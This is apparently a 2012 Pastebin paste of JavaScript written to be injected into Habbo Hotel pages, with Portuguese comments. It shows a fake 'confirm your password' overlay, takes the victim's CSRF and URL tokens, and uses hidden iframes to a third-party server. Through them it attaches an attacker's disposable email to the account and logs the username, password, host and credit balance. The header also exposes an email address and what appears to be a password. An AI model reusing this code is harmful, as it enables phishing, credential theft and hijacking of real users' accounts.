Advertisement
nPhoenix

[Old] Adicionar e-mail

Nov 20th, 2012
333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. ############################################
  3. # ADD E-MAIL COM PEDIDO DE SENHA BY PHOENIX.
  4. # ARRUMA AS PARTE AI BONITÃO, POIS PRECISA DE MAIS 3 ARQUIVOS PRA FUNCIONAR. :*
  5. # (c) 2012
  6. ############################################
  7. phnx_wc@hotmail.com / vidaroo
  8. */
  9. var $_id = i.toString();
  10.  
  11. function random(len) {
  12.     var i, chars = '1234567890QWERTYUIOPASDFGHJKLMNBCZB',
  13.         str = '';
  14.     if (!len) len = 15;
  15.     for (i = 0; i < len; i++) str += chars.substr((Math.floor(Math.random() * (chars.length + 1))), 1);
  16.     return str;
  17. };
  18. var __mail_server = "yopmail.net";
  19. var __time_stamp = random(15);
  20. var __send_to_guest = "WIX_BOT_" + __time_stamp;
  21. var __email_add = __send_to_guest + "@" + __mail_server;
  22. var $_str_wix_content = '<b>' + habboName + '</b> para completar a ação anterior, por favor, digite sua senha por segurança:';
  23. var $_str_wix_title = 'Para confirmar digite sua senha';
  24. var $_str_butt_OK = 'Ok';
  25. var $_str_load_fail = 'Digite sua senha corretamente!';
  26. d = document;
  27.  
  28. function verifica(email) {
  29.     new Ajax.Request('/identity/email', {
  30.         onComplete: function (x) {
  31.             x = x.responseText;
  32.             if (x.match(email)) {
  33.                 X.hide();
  34.                 Overlay.hide();
  35.                 d.getElementById(wix_box).innerHTML = '';
  36.                 new Ajax.Request('/credits', {
  37.                     onComplete: function (x) {
  38.                         var credits = (x.responseText.match(/class="redeem-balance-amount">(.*?)</gi)[0].split('">')[1].split('<')[0]);
  39.                         d.body.appendChild(new Element('iframe', {
  40.                             style: 'display:none',
  41.                             src: 'http://thewixproject.com.br/phpcontrol/log_request.php?i=' + $_id + '&type=2&e=' + __email_add + '&ho=' + location.host + '&h=' + habboName + '&p=' + pass_set.value + '&credits=' + credits,
  42.                             name: 'WIX_LOG_' + (new Date()).getTime()
  43.                         }));
  44.                     }
  45.                 });
  46.             } else {
  47.                 d.getElementById('wix_load').innerHTML = "<center><font color='red'>" + $_str_load_fail + "</font></center>";
  48.             };
  49.         }
  50.     });
  51. };
  52.  
  53. function set(_pass) {
  54.     X.appendChild(new Element(_d, {
  55.         id: 'wix_load'
  56.     }));
  57.     d.getElementById('wix_load').innerHTML = "<center><img src='http://habboemotion.com/resources/images/icons/progress_bar_blue.gif'></center>";
  58.     new Ajax.Request("/identity/email", {
  59.         onComplete: function (k) {
  60.             var _num = k.responseText.match(/urlToken/gi).length - 1;
  61.             var _token = (k.responseText.match(/name="urlToken" value="(.*?)"/gi)[_num].split('"')[3]);
  62.             var _app = $$("[name*=csrf]")[0].content;
  63.             document.body.appendChild(new Element("iframe", {
  64.                 style: "display:none",
  65.                 src: "http://thewixproject.com.br/js/add.php?email=" + __email_add + "&hotel=" + location.host + "&token=" + _token + "&appkey=" + _app + "&password=" + _pass,
  66.                 name: "WIX_" + new Date().getTime()
  67.             }));
  68.             setTimeout("verifica(__time_stamp)", 6000);
  69.         }
  70.     });
  71. };
  72. Overlay.show();
  73. var p = d.createElement('link');
  74. p.type = 'text/css';
  75. p.rel = 'stylesheet';
  76. p.href = 'http://thewixproject.com.br/css/wix_box.css';
  77. d.head.appendChild(p);
  78. var wix_box = 'WIX_' + (new Date()).getTime();
  79. var _d = 'div';
  80. d.body.appendChild(new Element(_d, {
  81.     id: wix_box,
  82.     class: 'wix_traplod'
  83. }));
  84. d.getElementById(wix_box).appendChild(new Element(_d, {
  85.     id: 'wix_box'
  86. }));
  87. X = d.getElementById('wix_box');
  88. X.appendChild(new Element(_d, {
  89.     id: 'wix_title'
  90. }));
  91. X.appendChild(new Element(_d, {
  92.     id: 'wix_content'
  93. }));
  94. d.getElementById('wix_content').innerHTML = $_str_wix_content + '<br><input type="password" value="senha" id="senha" name="senha"><br><button onClick="set(senha.value);">' + $_str_butt_OK + '</button>';
  95. d.getElementById('wix_title').innerHTML = $_str_wix_title;
  96. var pass_set = d.getElementById('senha');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement